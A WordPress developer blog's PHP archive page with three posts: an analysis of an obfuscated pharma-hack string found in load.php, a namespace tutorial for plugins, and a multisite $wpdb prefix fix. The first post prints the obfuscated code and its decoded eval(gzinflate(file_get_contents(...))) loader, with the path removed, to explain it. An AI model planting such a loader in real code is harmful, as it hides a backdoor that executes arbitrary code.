Category Archives: PHP

Convert random-looking string into readable PHP, using bitwise operator, to reveal pharma hack

Today I came across an interesting piece of code in an archived WordPress 3.4.1 installation. At first it didn’t make much sense, but after careful examination, it wasn’t so random after all — malicious code never is.

It looked something like this:

1
2
$lang = 'e~o~*'.Twzinf.'~g|u('.vylu_g.'}'.w_konum.'~'.wsjf.':))o{'&uwal.'|bo~'.onn
myvo.'.gk}'.g_wg.'|'._sooveots.'-:b/-9?';
$lang = 'e~o~*'.Twzinf.'~g|u('.vylu_g.'}'.w_konum.'~'.wsjf.':))o{'&uwal.'|bo~'.onn
myvo.'.gk}'.g_wg.'|'._sooveots.'-:b/-9?';

There’s a variable called $lang consisting of several strings (e~o~*, ~g|u(, }) and constants (Twzinf, vylu_g, w_konum), but the thing is, those constants aren’t defined anywhere, so what is their purpose? In any event, the worst case scenario is that there is a variable with some gibberish, neatly tucked away in wp-includes/load.php, right?

Nope, otherwise this would conclude the blog post :).

Before we break down what this seemingly random piece of code does, here is what it actually looks like once PHP executes it:

1
$lang = eval(@gzinflate(file_get_contents("")));
$lang = eval(@gzinflate(file_get_contents("")));

I’ve removed the actual file path within the quotation marks, but you can immediately tell how dangerous this is, because it retrieves contents from an unknown file on the server, uncompresses it, and then executes whatever the file contains with no questions asked.

That’s a problem.

Let’s look at how PHP got there.

Continue reading

How to use PHP’s namespaces and constants within your WordPress plugins

Recently I switched from using a class to emulate a namespace in my WordPress plugins to actually using PHP’s namespace, which is available in PHP 5.3.0 or greater. I’m going to demonstrate some things that all my plugins thus far have in common.

1. Create a namespace

Right before your plugin meta data comment, you must lead with your namespace (otherwise PHP will complain):

1
namespace CompanyName\PluginName;
namespace CompanyName\PluginName;

I use a master namespace for everything I do (CompanyName) and a sub-namespace for the specific plugin I’m working on (PluginName).

2. Define a namespace constant

After the plugin meta data comment I define a constant, in other words, a shortcut to reference my namespace within WordPress hooks. It’s just less to type in the future and I can change my namespace without affecting plugin functionality.

1
define(__NAMESPACE__ . '\NS', __NAMESPACE__ . '\\');
define(__NAMESPACE__ . '\NS', __NAMESPACE__ . '\\');

What this allows me to do is use a constant called NS to render CompanyName\PluginName\ so that after leading with NS in a WordPress hook callback, all I need to provide is my function name.

To create additional constants within your namespace, you can do that like so:

1
define(NS . 'PS', 'plugin-slug');
define(NS . 'PS', 'plugin-slug');

3. Use your namespace constant in a WordPress hook

Here is what a function and a hook looks like in a namespaced environment:

1
2
3
4
5
6
7
8
function initialize_plugin() {
 
}
 
add_action(
  'init',
  NS . 'initialize_plugin'
);
function initialize_plugin() {

}

add_action(
  'init',
  NS . 'initialize_plugin'
);

It’s really not that much different compared to not using a namespace and it certainly looks a lot cleaner than if you were using a class.

4. Use core WordPress functions

There are times where you need to use WordPress functions like the register_activation_hook, for example. It’s important to remember to change the namespace back to the global namespace for those functions.

The way to do that is to precede the function with a backslash:

1
\register_activation_hook(__FILE__, NS . 'register_activation_hook');
\register_activation_hook(__FILE__, NS . 'register_activation_hook');

This should get you started and if you have any questions, leave them in the comments below.

$wpdb queries not working properly on child sites in WordPress multisite install

I’m working on a WordPress multisite plugin that uses a global table to store logs. When a user performs a certain action on my site, I’m executing a function similar to this one:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function add_log($source, $user_id, $action, $status) {
    global $wpdb, $blog_id;
    $table_name = $wpdb->prefix . LOG_TABLE;
    $IP = $_SERVER['REMOTE_ADDR'];
    $result = $wpdb->insert($table_name, 
        array(
            'source'    => $source,
            'site_id'   => $blog_id,
            'user_id'   => $user_id,
            'action'    => $action,
            'status'    => $status,
            'IP'        => $IP
        ), 
        array(
            '%s',
            '%d', 
            '%d',
            '%s',
            '%s',
            '%s'
        ) 
    );
}
function add_log($source, $user_id, $action, $status) {
	global $wpdb, $blog_id;
	$table_name = $wpdb->prefix . LOG_TABLE;
	$IP = $_SERVER['REMOTE_ADDR'];
	$result = $wpdb->insert($table_name, 
		array(
			'source'	=> $source,
			'site_id' 	=> $blog_id,
			'user_id'	=> $user_id,
			'action'	=> $action,
			'status'	=> $status,
			'IP'		=> $IP
		), 
		array(
			'%s',
			'%d', 
			'%d',
			'%s',
			'%s',
			'%s'
		) 
	);
}

This works well on the base site (where blog_id = 1) of the WordPress multisite install, but for some reason it wasn’t capturing any logs on the other sites.

After some troubleshooting, which I did by modifying the function temporarily to this:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function add_log($source, $user_id, $action, $status) {
    global $wpdb, $blog_id;
    define('DIEONDBERROR', true);
    $wpdb->show_errors();
    $table_name = $wpdb->prefix . LOG_TABLE;
    $IP = $_SERVER['REMOTE_ADDR'];
    $result = $wpdb->insert($table_name, 
        array(
            'source'        => $source,
            'site_id'   => $blog_id,
            'user_id'   => $user_id,
            'action'        => $action,
            'status'        => $status,
            'IP'            => $IP
        ), 
        array(
            '%s',
            '%d', 
            '%d',
            '%s',
            '%s',
            '%s'
        ) 
    );
    $wpdb->print_error();
}
function add_log($source, $user_id, $action, $status) {
	global $wpdb, $blog_id;
	define('DIEONDBERROR', true);
	$wpdb->show_errors();
	$table_name = $wpdb->prefix . LOG_TABLE;
	$IP = $_SERVER['REMOTE_ADDR'];
	$result = $wpdb->insert($table_name, 
		array(
			'source'		=> $source,
			'site_id' 	=> $blog_id,
			'user_id'	=> $user_id,
			'action'		=> $action,
			'status'		=> $status,
			'IP'			=> $IP
		), 
		array(
			'%s',
			'%d', 
			'%d',
			'%s',
			'%s',
			'%s'
		) 
	);
	$wpdb->print_error();
}

I found out that $wpdb->prefix was not always wp_ as I expected, but it was wp_2_ or wp_3_, depending on the site the log was generated on. That actually makes a whole lot of sense.

The proper way to fix this is to indicate that you want the base prefix, not the individual site’s prefix.

The solution is to change $wpdb->prefix to $wpdb->base_prefix.

PS: If you are creating a plugin that will work on both single and multisite WordPress installs, it’s helpful to know that $wpdb->base_prefix is set on both of those versions, meaning you can always use it.